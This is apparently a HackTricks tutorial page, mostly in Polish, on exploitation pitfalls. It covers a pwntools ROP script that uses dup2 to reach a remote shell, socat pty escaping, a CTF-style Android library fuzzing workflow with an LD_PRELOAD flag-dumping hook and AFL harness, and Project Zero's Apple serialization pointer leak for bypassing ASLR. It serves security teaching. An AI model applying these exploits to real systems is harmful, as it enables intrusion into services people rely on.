Typowe problemy przy eksploatacji
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
FDs w zdalnej eksploatacji
When sending an exploit to a remote server that calls system('/bin/sh') for example, this will be executed in the server process oczywiście, and /bin/sh will expect input from stdin (FD: 0) and will print the output in stdout and stderr (FDs 1 and 2). So the attacker won’t be able to interact with the shell.
A way to fix this is to suppose that when the server started it created the FD number 3 (for listening) and that then, your connection is going to be in the FD number 4. Therefore, it’s possible to use the syscall dup2 to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it’ll make feasible to contact the shell once it’s executed.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Zwróć uwagę, że socat już przesyła stdin i stdout do socketu. Jednak tryb pty include DELETE characters. Tak więc, jeśli wyślesz \x7f (DELETE) to to usunie poprzedni znak twojego exploita.
Aby to obejść, przed każdym wysłanym \x7f należy poprzedzić go znakiem escape \x16.
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Gdy aplikacja Androida dostarczana jest tylko z pozbawionym symboli AArch64 .so, nadal możesz fuzzować eksportowaną logikę bezpośrednio na urządzeniu bez przebudowy APK. Praktyczny schemat:
- Locate callable entry points.
objdump -T libvalidate.so | grep -E "validate"szybko wyświetla eksportowane funkcje. Decompilery (Ghidra, IDA, BN) ujawniają rzeczywistą sygnaturę, np.int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Wczytaj plik, utrzymaj bufor przy życiu i wywołaj eksportowany symbol dokładnie tak, jak robiłaby to aplikacja. Skompiluj krzyżowo przy użyciu NDK (np.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimalny harness sterowany plikiem
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Odtwórz oczekiwaną strukturę.** Komunikaty o błędach i porównania w Ghidra pokazały, że funkcja parsowała ściśle określone JSON z stałymi kluczami (`magic`, `version`, zagnieżdżone `root.children.*`) oraz kontrolami arytmetycznymi (np. `value * 2 == 84` ⇒ `value` musi być `42`). Dostarczanie składniowo poprawnego JSON, który stopniowo spełnia kolejne gałęzie, pozwala odwzorować schemat bez instrumentacji.
4. **Omiń anti-debug, aby leak sekrety.** Ponieważ `.so` importuje `snprintf`, nadpisz ją przy użyciu `LD_PRELOAD`, aby zrzucić poufne ciągi formatujące nawet gdy breakpoints są zablokowane:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json eksfiltrowuje wewnętrzny flag i potwierdza crash oracle bez patchowania binarki.
5. Zmniejsz przestrzeń fuzz. Dysasemblacja ujawniła klucz XOR używany w porównaniu flag, co oznacza, że pierwsze siedem bajtów flag było znane. Fuzzuj tylko dziewięć nieznanych bajtów.
6. Osadź bajty fuzz w prawidłowej strukturze JSON. AFL harness odczytuje dokładnie dziewięć bajtów z stdin, kopiuje je do sufiksu flag i na stałe wpisuje każde inne pole (constants, tree depths, arithmetic preimage). Każdy nieprawidłowy odczyt po prostu kończy działanie, więc AFL poświęca cykle na sensowne przypadki testowe:
Minimalny AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Każde wejście, które przejdzie wszystkie sprawdzenia semantyczne i odgadnie poprawny dziewięciobajtowy sufiks, wywoła deliberate crash; takie pliki trafiają do `output/crashes` i można je odtworzyć przez prosty harness, aby odzyskać sekret.
Ten workflow pozwala szybko przeanalizować i ocenić anti-debug-protected JNI validators, leak secrets gdy trzeba, a następnie fuzzować tylko istotne bajty — i to bez dotykania oryginalnego APK.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Złośliwe formaty aparatów często zawierają własny bytecode (opcode lists, map tables, tone curves). Gdy uprzywilejowany decoder nie sprawdza granic wymiarów pochodzących z metadanych lub indeksów plane, te opcodes stają się attacker-controlled read/write primitives, które mogą groomować heap, pivotować wskaźniki lub nawet leak ASLR. Samsung's in-the-wild Quram exploit jest niedawnym przykładem łańcuchowania błędu bounds `DeltaPerColumn`, heap spraying via skipped opcodes, remapowania vtable i JOP chain do `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Wymagania & powierzchnia ataku
- Usługa akceptuje attacker-controlled property lists (XML lub binary) i wywołuje `NSKeyedUnarchiver.unarchivedObjectOfClasses` z permisywną allowlistą (np. `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Powstałe obiekty są ponownie wykorzystywane i później serializowane z powrotem przez `NSKeyedArchiver` (lub iterowane w deterministycznym porządku kubełków) i wysyłane z powrotem do atakującego.
- Niektóre typy kluczy w kontenerach używają wartości wskaźników jako kodu hasza. Przed marcem 2025 `CFNull`/`NSNull` wracały do `CFHash(object) == (uintptr_t)object`, a deserializacja zawsze zwracała shared-cache singleton `kCFNull`, co dawało stabilny kernel-shared pointer bez korupcji pamięci lub timing.
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` nie ma callbacka hash, więc `CFBasicHash` używa adresu obiektu jako hasha. Ponieważ singleton znajduje się pod stałym adresem w shared-cache aż do rebootu, jego hash jest stabilny między procesami.
- **Attacker-controlled hashes:** 32-bit klucze `NSNumber` haszowane są przez `_CFHashInt`, który jest deterministyczny i sterowalny przez atakującego. Wybierając konkretne liczby, atakujący może ustalić `hash(number) % num_buckets` dla dowolnego rozmiaru tabeli.
- **`NSDictionary` implementation:** Niemodyfikowalne słowniki osadzają `CFBasicHash` ze składem kubełków będącym liczbą pierwszą wybraną z `__CFBasicHashTableSizes` (np. 23, 41, 71, 127, 191, 251, 383, 631, 1087). Kolizje obsługiwane są przez linear probing (`__kCFBasicHashLinearHashingValue`), a serializacja przechodzi kubełki w kolejności numerycznej; dlatego kolejność zserializowanych kluczy koduje indeks kubełka, który ostatecznie zajmował każdy klucz.
### Encoding bucket indices into serialization order
Tworząc plist, który materializuje słownik, którego kubełki na przemian są zajęte i puste, atakujący ogranicza miejsca, w których linear probing może umieścić `NSNull`. Dla przykładu 7 kubełków, wypełnienie parzystych kubełków kluczami `NSNumber` daje:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Podczas deserializacji ofiara wstawia pojedynczy klucz NSNull. Jego początkowy bucket to hash(NSNull) % 7, ale probing przesuwa się aż do trafienia jednego z otwartych indeksów {1,3,5}. Zserializowana kolejność kluczy ujawnia, który slot został użyty, ujawniając, czy hash wskaźnika modulo 7 należy do {6,0,1}, {2,3} lub {4,5}. Ponieważ atakujący kontroluje oryginalną zserializowaną kolejność, klucz NSNull jest emitowany jako ostatni w wejściowym plist, więc kolejność po ponownej deserializacji jest wyłącznie funkcją umieszczenia w bucketach.
Rozwiązywanie dokładnych reszt za pomocą komplementarnych tabel
Pojedynczy słownik only leaks zakres reszt. Aby określić dokładną wartość hash(NSNull) % p, zbuduj dwa słowniki dla każdej pierwszej wielkości bucketów p: jeden z wstępnie wypełnionymi parzystymi bucketami i jeden z wstępnie wypełnionymi nieparzystymi bucketami. Dla komplementarnego wzorca (_ # _ # _ # _), puste sloty (0,2,4,6) odpowiadają zbiorom reszt {0}, {1,2}, {3,4}, {5,6}. Obserwacja zserializowanej pozycji NSNull w obu słownikach zawęża resztę do jednej wartości, ponieważ przecięcie dwóch zbiorów kandydatów daje unikalne r_i dla tego p.
Atakujący pakuje wszystkie słowniki w NSArray, więc pojedynczy cykl deserialize → serialize leaks reszty dla każdego wybranego rozmiaru tabeli.
Odtwarzanie 64-bitowego wskaźnika shared-cache
Dla każdej liczby pierwszej p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, atakujący odzyskuje hash(NSNull) ≡ r_i (mod p_i) z zserializowanej kolejności. Zastosowanie Chinese Remainder Theorem (CRT) z rozszerzonym algorytmem Euklidesa daje:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
tak więc złożona reszta jednoznacznie odpowiada 64-bitowemu wskaźnikowi do kCFNull. The Project Zero PoC iteracyjnie łączy kongruencje, wypisując pośrednie moduły, aby pokazać zbieżność do prawdziwego adresu (0x00000001eb91ab60 na podatnej kompilacji).
Praktyczny przebieg
- Generate crafted input: Zbuduj plik plist po stronie atakującego (dwa słowniki na każdą liczbę pierwszą,
NSNullserializowany jako ostatni) i skonwertuj go do formatu binarnego.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Serwis ofiary deserializuje przy użyciu
NSKeyedUnarchiver.unarchivedObjectOfClassesz dozwolonym zbiorem klas{NSDictionary, NSArray, NSNumber, NSString, NSNull}i natychmiast ponownie serializuje za pomocąNSKeyedArchiver. - Residue extraction: Konwersja zwróconego plist z powrotem do XML ujawnia kolejność kluczy w słowniku. Narzędzie pomocnicze, takie jak
extract-pointer.c, czyta tabelę obiektów, ustala indeks jedynegoNSNull, mapuje każdą parę słownika z powrotem na resztę kubełka i rozwiązuje układ CRT, aby odzyskać wskaźnik shared-cache. - Verification (optional): Skompilowanie małego pomocnika w Objective-C, który wypisuje
CFHash(kCFNull), potwierdza, że leaked value matches the real address.
Nie jest wymagany żaden błąd bezpieczeństwa pamięci — samo obserwowanie kolejności serializacji struktur kluczowanych wskaźnikami daje zdalne ASLR bypass primitive.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


